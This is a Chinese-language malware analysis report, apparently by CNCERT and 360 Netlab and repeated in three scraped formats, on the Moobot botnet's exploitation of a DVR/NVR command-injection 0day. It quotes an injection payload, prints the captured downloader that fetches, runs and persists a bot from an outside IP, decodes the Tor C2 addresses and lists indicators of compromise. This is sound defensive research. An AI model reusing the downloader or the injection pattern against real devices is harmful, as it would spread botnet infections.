<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG" class="kg-image"/></a></p>
<p>解密方法如下</p>
<pre><code>xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
</code></pre>
<p>以prefix（<code>0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97</code>）,suffix（<code>CC 81 88 BB BD B8 DE</code>）为例，拼接得到ciphertext（<code>0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE</code>)，解密可以得到Tor-C2为 <code>ol6zbnlduigehodu.onion</code>。<br>
比较奇怪的一点是，从代码层面(<code>random mod 7</code>),可以看出应该有7个Tor-C2,但实际样本中只有3个，这会导致Bot访问非法的Tor-C2。我们猜测这是一种用来扰乱安全研究员&对抗沙箱IOC自动抽取系统的手段。<br>
<a href="__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG" class="kg-image"/></a></p>
<h3 id="">通信协议</h3>
<p>Moobot_leet网络流量概览如下</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_view.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_view.PNG" class="kg-image"/></a><br>
首先和样本内置的代理节点建立连接，然后和Tor-C2建立连接，最后走正常的Moobot通信协议通知C2上线，接收C2下发的攻击指令。</p>
<h4 id="19050">1. 和代理建立连接，端口为9050</h4>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG" class="kg-image"/></a><br>
样本内置的代理节点列表如下：</p>
<pre><code>1.26.150.133
104.45.52.37
107.21.38.230
12.11.175.187
128.199.45.26
13.50.100.110
136.243.69.28
138.68.107.137
158.69.33.149
165.22.117.234
173.212.249.65
185.242.114.206
193.29.187.226
193.70.77.132
20.188.45.175
3.8.5.177
31.6.69.162
35.153.180.187
35.158.231.234
4.21.119.186
45.137.22.80
45.14.148.239
46.101.216.75
5.138.113.101
5.252.225.249
51.11.247.88
51.15.239.174
51.75.144.59
51.77.148.172
62.149.14.80
79.130.136.67
80.241.212.116
82.146.61.193
82.230.81.131
86.177.24.148
89.163.146.187
89.217.41.145
9.43.47.135
9.43.47.39
90.93.30.29
91.228.218.66
92.222.76.104
92.29.22.186
93.104.211.123
94.100.28.172
</code></pre>
<h4 id="2torproxyc2">2. 通过Tor-Proxy协议和C2建立连接</h4>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG" class="kg-image"/></a></p>
<p>样本内置Tor-C2列表如下：</p>
<pre><code>ol6zbnlduigehodu.onion：1900
uajl7qmdquxaramd.onion：554
nhez3ihtwxwthjkm.onion：21
</code></pre>
<h4 id="3moobotc2">3. 通过Moobot协议和C2进行通信，具体的上线，心跳，攻击如下所示</h4>
<ul>
<li>
<p>上线包</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG" class="kg-image"/></a></p>
</li>
</ul>
<pre><code> msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
07 -----> group string length
62 61 6c 6c 6f 6f 6e -----> group string,here it is "balloon"
</code></pre>
<ul>
<li>心跳包<br>
<a href="__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG" class="kg-image"/></a></li>
</ul>
<pre><code> msg parsing
----------------------------------------------------------------
c7 15 3a fa -----> random 4 bytes msg from bot
c7 15 3a fa -----> 4 bytes msg from c2
</code></pre>
<ul>
<li>攻击指令和mirai类似</li>
</ul>
<pre><code>00000000: 01 00 00 00 3C 01 C2 0F 92 0C 20 02 01 00 05 32 ....<..... ....2
00000010: 38 30 31 35 02 00 04 31 34 36 30 02 1C 8015...1460..
</code></pre>
<h1 id="moobotddos">Moobot DDoS活动</h1>
<p>Moobot的DDoS攻击活动常年活跃，我们之前的文章也有介绍Moobot的攻击活动<a href="__GHOST_URL__/moobot/">[1]</a>。有意思的是Moobot针对<code>electrum.hodlister.co</code>发起了长达数月的持续攻击（自2020-03-04持续到当前），原因不得而知。Moobot CC发起的部分攻击目标对应的域名如下图所示:<br>
<a href="__GHOST_URL__/content/images/2020/09/Snip20200929_7.png"><img src="__GHOST_URL__/content/images/2020/09/Snip20200929_7.m.png" class="kg-image"/></a></p>
<h1 id="">联系我们</h1>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者在微信公众号 360Netlab上联系我们。</p>
<h1 id="ioc">IoC</h1>
<h4 id="torc2">Tor-C2</h4>
<pre><code>djq6cvwigo7l7q62.onion:194
dl3ochoifo77lsak.onion:1553
krjn77m6demafp77.onion:6969
mvo4y3vr7xuxhwcf.onion:21
nhez3ihtwxwthjkm.onion:21
ol6zbnlduigehodu.onion:1900
stmptmmm27tco3oh.onion:115
tto6kqp6nsto5din.onion:17
uajl7qmdquxaramd.onion:554
wsvo6jwd3spsb4us.onion:1900
</code></pre>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>022081bc7f49b4aa5c4b36982390cd97
05764c4d5ec37575d5fd3efe95cf3458
260bda811c00dac88b4f5a35e9939760
30416eae1f1922b28d93be8078b25ba0
348acf45ccb313f6c5d34ca5f68f5e13
3e9ae33e0d5c36f7cd5f576233d83f26
4d785886039cbca5372068377f72da43
565c0456c7fbb393ec483c648155b119
655b56b345799f99b614e23128942b92
7735289d33d14644fea27add188093ea
7988a73a4b5ccb7ca9b98dc633b8c0c6
b2c66c2831173b1117467fdabc78241e
bb27f755238528fc3c6386287a5c74a7
bff215a95f088672ad13933a1de70861
cb428a513275b5e969353596deb7383d
cf3602498c49caa902d87579fd420098
e24dc070a4d90a7b01389de9f2805b2b
fe0488ec71ee04ddb47792cae199595b
</code></pre>
<h4 id="downloaderurl">Downloader URL</h4>
<pre><code>http[://104.244.78.131/boot
http[://104.244.78.131/fre
http[://107.189.10.28/boot
http[://107.189.10.28/fre
http[://141.164.63.40/boot
http[://141.164.63.40/fre
http[://172.104.105.205/boot
http[://185.216.140.70/fre
http[://185.216.140.70/t
http[://185.39.11.84/fre
http[://89.248.174.166/t
http[://92.223.73.55/fre
http[://ape.run/dtf/b
http[://ape.run/fre
http[://c.uglykr.xyz/fre
http[://kreb.xyz/fre
http[://osrq.xyz/dtf/b
http[://osrq.xyz/fre
</code></pre>
<h4 id="scannerip">Scanner IP</h4>
<pre><code>176.126.175.10 AS47540|EURODC-AS Romania|Romania|Unknown
176.126.175.8 AS47540|EURODC-AS Romania|Romania|Unknown
185.107.80.202 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.203 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.34 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.62 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.39.11.84 AS62355|Network_Dedicated_SAS Netherlands|North_Holland|Wormer
212.224.124.178 AS44066|First_Colo_GmbH Germany|Hesse|Frankfurt
89.248.174.165 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.166 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.203 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
92.223.73.136 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.54 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.55 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.72 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
</code></pre>
<!--kg-card-end: markdown--> | 本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布
概述
Moobot是一个基于Mirai开发的僵尸网络，自从其出现就一直很活跃，并且拥有0day漏洞利用的能力。我们有多篇和该botnet相关的文章，感兴趣的读者可以去阅读[1][2][3]。本文主要介绍CNCERT和360公司共同发现的Moobot针对UNIXCCTV DVR/NVR设备的0day利用。关于该漏洞的详细细节我们通知了厂家，并且确认当前厂家已经修复了该漏洞，发布了相应的补丁[ALL265 unix 2.3.7.8B09][NVR unix 2.3.7.8B05][ALL unixip 2.3.4.8B06]。友情提醒此类设备的用户及时更新设备固件。
时间线
* 2020-06-09 首次捕获到针对该漏洞的探测扫描
* 2020-06-24 首次捕获利用该漏洞传播的Moobot样本
* 2020-08-24 厂家发布补丁修复bug
漏洞利用过程
我们捕获的Moobot样本并不具有该漏洞的利用功能。Moobot通过Loader扫描8000端口，定位到目标设备后利用漏洞植入Moobot样本。
漏洞分析
漏洞类型
远程命令注入漏洞
漏洞细节
漏洞位置为设备gui程序监听的8000端口（验证固件版本：ALL265_unix_2.3.7.2B.fwr），根据设备手册我们得知，该端口为DVR Watch，Search，Setup功能默认监听端口。
该端口具有可远程更新系统时间的功能，此功能实际由gui程序调用系统命令nptdate实现。 漏洞由此触发，gui程序执行ntpdate命令时没有对NTP server参数进行检查，导致命令注入漏洞。例如构造此条命令（ntpdate -d -t 1 time.nist.gov& whoami）将导致whoami命令被执行。部分Payload如下(因为有其他安全机构先于我们向厂家通报漏洞信息，并且没有公开漏洞信息。所以我们不打算公开完整PoC)：
受影响设备分析
通过扫描全网8000端口，我们发现6k左右的在线设备。绝大部分的设备都在美国。
受影响设备地理位置分布
4529 United_States
789 Republic_of_Korea
84 Canada
73 Japan
66 Netherlands
56 Australia
55 Germany
31 United_Kingdom
23 Viet_Nam
19 Malaysia
15 Saudi_Arabia
15 Czech
14 Switzerland
11 China
已知受影响设备：
51 PVT-N5UNIXDVR 1
28 PVT-8MUNIXDVR 1
28 NVST-ILUNIXDVR 1
25 NVST-ILUNIXNVR 1
22 Magic-U-8M5UNIXDVR 1
14 NVST-IPUNIXNVR 1
13 NVST-IPUNIXDVR 1
9 Magic-T-8M5UNIXDVR 1
9 HD-Analog3RDVR 1
6 Magic-QXUNIXDVR 1
2 Magic-U-8M5UNIXDVR 2
1 PVT-8MUNIXDVR
1 NVR3RGPardisNVR
1 Magic-U-8M5UNIXBoca DVR
1 MER-28N16ENEODVR 1
1 MER-28N08ENEODVR 1
样本分析
Verdict:Downloader
MD5:af3720d0141d246bd3ede434f7a14dcb
ASCII text, with CRLF line terminators
af3720d0141d246bd3ede434f7a14dcb是一个下载脚本，内容如下，
s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > ."$s";chmod +x ."$s";./."$s" balloon;
echo -e "echo \"Starting logging\"\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;" > /etc/init.d/S11log
可以看出Downloader的主要功能为
* 下载Moobot样本
* 实现持久化
值得一提的是，下载的Moobot样本是压缩的，这在一定程度上对抗了网络流量层面对样本的直接检测。
Verdict:Moobot_leet
MD5:fb96c74e0548bd41621ea0dd98e8b2bb
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Packer:No
Lib:uclibc
fb96c74e0548bd41621ea0dd98e8b2bb是一个Moobot变种，基于其复用了LeetHozer的加密方法，我们称之为Moobot_leet。Moobot_leet在主机行为层面和Mirai很相似，并无亮点，因此这方面不再细述；网络流量层面采用Tor Proxy，样本内嵌了大量的代理节点，而且Tor-C2被加密，下文将着重讨论加密方法和通信协议。
加密方法
Moobot_leet将Tor-C2分成了prefix(16 bytes),suffix(7 bytes)俩部分，分别存在样本的不同位置，采用LeetHozer的加密方法，需要合并才能解密出正确的Tor-C2。
解密方法如下
xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
以prefix（0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97）,suffix（CC 81 88 BB BD B8 DE）为例，拼接得到ciphertext（0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE)，解密可以得到Tor-C2为 ol6zbnlduigehodu.onion。
比较奇怪的一点是，从代码层面(random mod 7),可以看出应该有7个Tor-C2,但实际样本中只有3个，这会导致Bot访问非法的Tor-C2。我们猜测这是一种用来扰乱安全研究员&对抗沙箱IOC自动抽取系统的手段。
通信协议
Moobot_leet网络流量概览如下
首先和样本内置的代理节点建立连接，然后和Tor-C2建立连接，最后走正常的Moobot通信协议通知C2上线，接收C2下发的攻击指令。
1. 和代理建立连接，端口为9050
样本内置的代理节点列表如下：
1.26.150.133
104.45.52.37
107.21.38.230
12.11.175.187
128.199.45.26
13.50.100.110
136.243.69.28
138.68.107.137
158.69.33.149
165.22.117.234
173.212.249.65
185.242.114.206
193.29.187.226
193.70.77.132
20.188.45.175
3.8.5.177
31.6.69.162
35.153.180.187
35.158.231.234
4.21.119.186
45.137.22.80
45.14.148.239
46.101.216.75
5.138.113.101
5.252.225.249
51.11.247.88
51.15.239.174
51.75.144.59
51.77.148.172
62.149.14.80
79.130.136.67
80.241.212.116
82.146.61.193
82.230.81.131
86.177.24.148
89.163.146.187
89.217.41.145
9.43.47.135
9.43.47.39
90.93.30.29
91.228.218.66
92.222.76.104
92.29.22.186
93.104.211.123
94.100.28.172
2. 通过Tor-Proxy协议和C2建立连接
样本内置Tor-C2列表如下：
ol6zbnlduigehodu.onion：1900
uajl7qmdquxaramd.onion：554
nhez3ihtwxwthjkm.onion：21
3. 通过Moobot协议和C2进行通信，具体的上线，心跳，攻击如下所示
*
上线包
msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
07 -----> group string length
62 61 6c 6c 6f 6f 6e -----> group string,here it is "balloon"
* 心跳包
msg parsing
----------------------------------------------------------------
c7 15 3a fa -----> random 4 bytes msg from bot
c7 15 3a fa -----> 4 bytes msg from c2
* 攻击指令和mirai类似
00000000: 01 00 00 00 3C 01 C2 0F 92 0C 20 02 01 00 05 32 ....<..... ....2
00000010: 38 30 31 35 02 00 04 31 34 36 30 02 1C 8015...1460..
Moobot DDoS活动
Moobot的DDoS攻击活动常年活跃，我们之前的文章也有介绍Moobot的攻击活动[1]。有意思的是Moobot针对electrum.hodlister.co发起了长达数月的持续攻击（自2020-03-04持续到当前），原因不得而知。Moobot CC发起的部分攻击目标对应的域名如下图所示:
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab上联系我们。
IoC
Tor-C2
djq6cvwigo7l7q62.onion:194
dl3ochoifo77lsak.onion:1553
krjn77m6demafp77.onion:6969
mvo4y3vr7xuxhwcf.onion:21
nhez3ihtwxwthjkm.onion:21
ol6zbnlduigehodu.onion:1900
stmptmmm27tco3oh.onion:115
tto6kqp6nsto5din.onion:17
uajl7qmdquxaramd.onion:554
wsvo6jwd3spsb4us.onion:1900
Sample MD5
022081bc7f49b4aa5c4b36982390cd97
05764c4d5ec37575d5fd3efe95cf3458
260bda811c00dac88b4f5a35e9939760
30416eae1f1922b28d93be8078b25ba0
348acf45ccb313f6c5d34ca5f68f5e13
3e9ae33e0d5c36f7cd5f576233d83f26
4d785886039cbca5372068377f72da43
565c0456c7fbb393ec483c648155b119
655b56b345799f99b614e23128942b92
7735289d33d14644fea27add188093ea
7988a73a4b5ccb7ca9b98dc633b8c0c6
b2c66c2831173b1117467fdabc78241e
bb27f755238528fc3c6386287a5c74a7
bff215a95f088672ad13933a1de70861
cb428a513275b5e969353596deb7383d
cf3602498c49caa902d87579fd420098
e24dc070a4d90a7b01389de9f2805b2b
fe0488ec71ee04ddb47792cae199595b
Downloader URL
http[://104.244.78.131/boot
http[://104.244.78.131/fre
http[://107.189.10.28/boot
http[://107.189.10.28/fre
http[://141.164.63.40/boot
http[://141.164.63.40/fre
http[://172.104.105.205/boot
http[://185.216.140.70/fre
http[://185.216.140.70/t
http[://185.39.11.84/fre
http[://89.248.174.166/t
http[://92.223.73.55/fre
http[://ape.run/dtf/b
http[://ape.run/fre
http[://c.uglykr.xyz/fre
http[://kreb.xyz/fre
http[://osrq.xyz/dtf/b
http[://osrq.xyz/fre
Scanner IP
176.126.175.10 AS47540|EURODC-AS Romania|Romania|Unknown
176.126.175.8 AS47540|EURODC-AS Romania|Romania|Unknown
185.107.80.202 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.203 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.34 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.62 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.39.11.84 AS62355|Network_Dedicated_SAS Netherlands|North_Holland|Wormer
212.224.124.178 AS44066|First_Colo_GmbH Germany|Hesse|Frankfurt
89.248.174.165 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.166 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.203 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
92.223.73.136 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.54 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.55 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.72 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布\n\n# 概述\nMoobot是一个基于Mirai开发的僵尸网络，自从其出现就一直很活跃，并且拥有0day漏洞利用的能力。我们有多篇和该botnet相关的文章，感兴趣的读者可以去阅读[[1]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/)[[2]](__GHOST_URL__/ddos-botnet-moobot-en/)[[3]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/)。本文主要介绍CNCERT和360公司共同发现的Moobot针对UNIXCCTV DVR/NVR设备的0day利用。关于该漏洞的详细细节我们通知了厂家，并且确认当前厂家已经修复了该漏洞，发布了相应的补丁[[ALL265 unix 2.3.7.8B09]](http://download.eyemaxdvr.com/TVST%20PVT%205N-SERIES/Patch/)[[NVR unix 2.3.7.8B05]](http://download.eyemaxdvr.com/NVST%20IL&IP%20SERIES/Firmware_/Patch/)[[ALL unixip 2.3.4.8B06]](http://download.eyemaxdvr.com/TVST%20PVT-N%20&%204M%20SERIES/Firmware/Patch/)。友情提醒此类设备的用户及时更新设备固件。\n\n# 时间线\n- 2020-06-09 首次捕获到针对该漏洞的探测扫描\n- 2020-06-24 首次捕获利用该漏洞传播的Moobot样本\n- 2020-08-24 厂家发布补丁修复bug\n\n# 漏洞利用过程\n我们捕获的Moobot样本并不具有该漏洞的利用功能。Moobot通过Loader扫描8000端口，定位到目标设备后利用漏洞植入Moobot样本。\n\n# 漏洞分析\n#### 漏洞类型\n远程命令注入漏洞 \n\n#### 漏洞细节\n漏洞位置为设备`gui`程序监听的8000端口（验证固件版本：`ALL265_unix_2.3.7.2B.fwr`），根据设备手册我们得知，该端口为DVR Watch，Search，Setup功能默认监听端口。\n\n该端口具有可远程更新系统时间的功能，此功能实际由`gui`程序调用系统命令`nptdate`实现。 漏洞由此触发，`gui`程序执行ntpdate命令时没有对NTP server参数进行检查，导致命令注入漏洞。例如构造此条命令（`ntpdate -d -t 1 time.nist.gov& whoami`）将导致`whoami`命令被执行。部分Payload如下(因为有其他安全机构先于我们向厂家通报漏洞信息，并且没有公开漏洞信息。所以我们不打算公开完整PoC)：\n\n# 受影响设备分析\n通过扫描全网8000端口，我们发现6k左右的在线设备。绝大部分的设备都在美国。\n\n#### 受影响设备地理位置分布\n\n```\n 4529 United_States\n 789 Republic_of_Korea\n 84 Canada\n 73 Japan\n 66 Netherlands\n 56 Australia\n 55 Germany\n 31 United_Kingdom\n 23 Viet_Nam\n 19 Malaysia\n 15 Saudi_Arabia\n 15 Czech\n 14 Switzerland\n 11 China\n```\n\n#### 已知受影响设备：\n\n```\n 51 PVT-N5UNIXDVR 1\n 28 PVT-8MUNIXDVR 1\n 28 NVST-ILUNIXDVR 1\n 25 NVST-ILUNIXNVR 1\n 22 Magic-U-8M5UNIXDVR 1\n 14 NVST-IPUNIXNVR 1\n 13 NVST-IPUNIXDVR 1\n 9 Magic-T-8M5UNIXDVR 1\n 9 HD-Analog3RDVR 1\n 6 Magic-QXUNIXDVR 1\n 2 Magic-U-8M5UNIXDVR 2\n 1 PVT-8MUNIXDVR\n 1 NVR3RGPardisNVR\n 1 Magic-U-8M5UNIXBoca DVR\n 1 MER-28N16ENEODVR 1\n 1 MER-28N08ENEODVR 1\n```\n\n# 样本分析\n\n> Verdict:Downloader\n>\n> MD5:af3720d0141d246bd3ede434f7a14dcb\n>\n> ASCII text, with CRLF line terminators\n\n```af3720d0141d246bd3ede434f7a14dcb```是一个下载脚本，内容如下，\n\n```shell\ns=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > .\"$s\";chmod +x .\"$s\";./.\"$s\" balloon;\necho -e \"echo \\\"Starting logging\\\"\\nklogd\\nsyslogd -O /dvr/message -s 4000\\n/cmslite/.o balloon;\" > /etc/init.d/S11log\n\n```\n\n可以看出Downloader的主要功能为\n\n- 下载Moobot样本\n- 实现持久化\n\n值得一提的是，下载的Moobot样本是压缩的，这在一定程度上对抗了网络流量层面对样本的直接检测。\n\n> Verdict:Moobot_leet\n>\n> MD5:fb96c74e0548bd41621ea0dd98e8b2bb\n>\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n> Packer:No\n>\n> Lib:uclibc\n\n```fb96c74e0548bd41621ea0dd98e8b2bb```是一个Moobot变种，基于其复用了LeetHozer的加密方法，我们称之为Moobot_leet。Moobot_leet在主机行为层面和Mirai很相似，并无亮点，因此这方面不再细述；网络流量层面采用Tor Proxy，样本内嵌了大量的代理节点，而且Tor-C2被加密，下文将着重讨论加密方法和通信协议。\n\n### 加密方法\n\nMoobot_leet将Tor-C2分成了prefix(16 bytes),suffix(7 bytes)俩部分，分别存在样本的不同位置，采用LeetHozer的加密方法，需要合并才能解密出正确的Tor-C2。\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG\" class=\"kg-image\"/></a>\n\n\n解密方法如下\n\n```\nxorkey=\"qE6MGAbI\"\n\ndef decode_str(ctxt):\n for i in range(0,len(xorkey)):\n plain=\"\"\n size=len(ctxt) \n for idx in range(0, size):\n ch=ord(ctxt[idx]) \n ch ^=(ord(xorkey[i]) + idx )\n plain += chr(ch)\n ctxt=plain\n return ctxt \n \n```\n\n以prefix（```0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97```）,suffix（```CC 81 88 BB BD B8 DE```）为例，拼接得到ciphertext（```0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE```)，解密可以得到Tor-C2为 ```ol6zbnlduigehodu.onion```。\n比较奇怪的一点是，从代码层面(```random mod 7```),可以看出应该有7个Tor-C2,但实际样本中只有3个，这会导致Bot访问非法的Tor-C2。我们猜测这是一种用来扰乱安全研究员&对抗沙箱IOC自动抽取系统的手段。\n<a href=\"__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG\" class=\"kg-image\"/></a>\n### 通信协议\n\nMoobot_leet网络流量概览如下\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_view.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_view.PNG\" class=\"kg-image\"/></a>\n首先和样本内置的代理节点建立连接，然后和Tor-C2建立连接，最后走正常的Moobot通信协议通知C2上线，接收C2下发的攻击指令。\n#### 1. 和代理建立连接，端口为9050\n\n<a href=\"__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG\" class=\"kg-image\"/></a>\n 样本内置的代理节点列表如下：\n\n ```\n 1.26.150.133\n 104.45.52.37\n 107.21.38.230\n 12.11.175.187\n 128.199.45.26\n 13.50.100.110\n 136.243.69.28\n 138.68.107.137\n 158.69.33.149\n 165.22.117.234\n 173.212.249.65\n 185.242.114.206\n 193.29.187.226\n 193.70.77.132\n 20.188.45.175\n 3.8.5.177\n 31.6.69.162\n 35.153.180.187\n 35.158.231.234\n 4.21.119.186\n 45.137.22.80\n 45.14.148.239\n 46.101.216.75\n 5.138.113.101\n 5.252.225.249\n 51.11.247.88\n 51.15.239.174\n 51.75.144.59\n 51.77.148.172\n 62.149.14.80\n 79.130.136.67\n 80.241.212.116\n 82.146.61.193\n 82.230.81.131\n 86.177.24.148\n 89.163.146.187\n 89.217.41.145\n 9.43.47.135\n 9.43.47.39\n 90.93.30.29\n 91.228.218.66\n 92.222.76.104\n 92.29.22.186\n 93.104.211.123\n 94.100.28.172\n ```\n\n \n\n#### 2. 通过Tor-Proxy协议和C2建立连接\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG\" class=\"kg-image\"/></a>\n\n 样本内置Tor-C2列表如下：\n\n ```\n ol6zbnlduigehodu.onion：1900\n uajl7qmdquxaramd.onion：554\n nhez3ihtwxwthjkm.onion：21\n ```\n\n#### 3. 通过Moobot协议和C2进行通信，具体的上线，心跳，攻击如下所示\n\n - 上线包\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG\" class=\"kg-image\"/></a>\n\n```\n msg parsing\n ----------------------------------------------------------------\n 33 66 99 \t\t\t\t\t-----> hardcoded magic\n 07\t\t\t\t\t\t\t-----> group string length\n 62 61 6c 6c 6f 6f 6e\t\t\t-----> group string,here it is \"balloon\"\n```\n\n \n\n - 心跳包\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG\" class=\"kg-image\"/></a>\n\n\n\n```\n msg parsing\n ----------------------------------------------------------------\n c7 15 3a fa \t\t\t\t\t-----> random 4 bytes msg from bot\n c7 15 3a fa\t\t\t\t\t\t-----> 4 bytes msg from c2\t\n```\n \n - 攻击指令和mirai类似\n\n```\n00000000: 01 00 00 00 3C 01 C2 0F 92 0C 20 02 01 00 05 32 ....<..... ....2\n00000010: 38 30 31 35 02 00 04 31 34 36 30 02 1C 8015...1460..\n```\n\n# Moobot DDoS活动\n\nMoobot的DDoS攻击活动常年活跃，我们之前的文章也有介绍Moobot的攻击活动[[1]](__GHOST_URL__/moobot/)。有意思的是Moobot针对`electrum.hodlister.co`发起了长达数月的持续攻击（自2020-03-04持续到当前），原因不得而知。Moobot CC发起的部分攻击目标对应的域名如下图所示:\n<a href=\"__GHOST_URL__/content/images/2020/09/Snip20200929_7.png\"><img src=\"__GHOST_URL__/content/images/2020/09/Snip20200929_7.m.png\" class=\"kg-image\"/></a>\n\n\n# 联系我们\n感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab上联系我们。\n\n# IoC\n#### Tor-C2\n```\ndjq6cvwigo7l7q62.onion:194\ndl3ochoifo77lsak.onion:1553\nkrjn77m6demafp77.onion:6969\nmvo4y3vr7xuxhwcf.onion:21\nnhez3ihtwxwthjkm.onion:21\nol6zbnlduigehodu.onion:1900\nstmptmmm27tco3oh.onion:115\ntto6kqp6nsto5din.onion:17\nuajl7qmdquxaramd.onion:554\nwsvo6jwd3spsb4us.onion:1900\n```\n#### Sample MD5\n```\n022081bc7f49b4aa5c4b36982390cd97\n05764c4d5ec37575d5fd3efe95cf3458\n260bda811c00dac88b4f5a35e9939760\n30416eae1f1922b28d93be8078b25ba0\n348acf45ccb313f6c5d34ca5f68f5e13\n3e9ae33e0d5c36f7cd5f576233d83f26\n4d785886039cbca5372068377f72da43\n565c0456c7fbb393ec483c648155b119\n655b56b345799f99b614e23128942b92\n7735289d33d14644fea27add188093ea\n7988a73a4b5ccb7ca9b98dc633b8c0c6\nb2c66c2831173b1117467fdabc78241e\nbb27f755238528fc3c6386287a5c74a7\nbff215a95f088672ad13933a1de70861\ncb428a513275b5e969353596deb7383d\ncf3602498c49caa902d87579fd420098\ne24dc070a4d90a7b01389de9f2805b2b\nfe0488ec71ee04ddb47792cae199595b\n```\n\n#### Downloader URL\n```\nhttp[://104.244.78.131/boot\nhttp[://104.244.78.131/fre\nhttp[://107.189.10.28/boot\nhttp[://107.189.10.28/fre\nhttp[://141.164.63.40/boot\nhttp[://141.164.63.40/fre\nhttp[://172.104.105.205/boot\nhttp[://185.216.140.70/fre\nhttp[://185.216.140.70/t\nhttp[://185.39.11.84/fre\nhttp[://89.248.174.166/t\nhttp[://92.223.73.55/fre\nhttp[://ape.run/dtf/b\nhttp[://ape.run/fre\nhttp[://c.uglykr.xyz/fre\nhttp[://kreb.xyz/fre\nhttp[://osrq.xyz/dtf/b\nhttp[://osrq.xyz/fre\n```\n\n#### Scanner 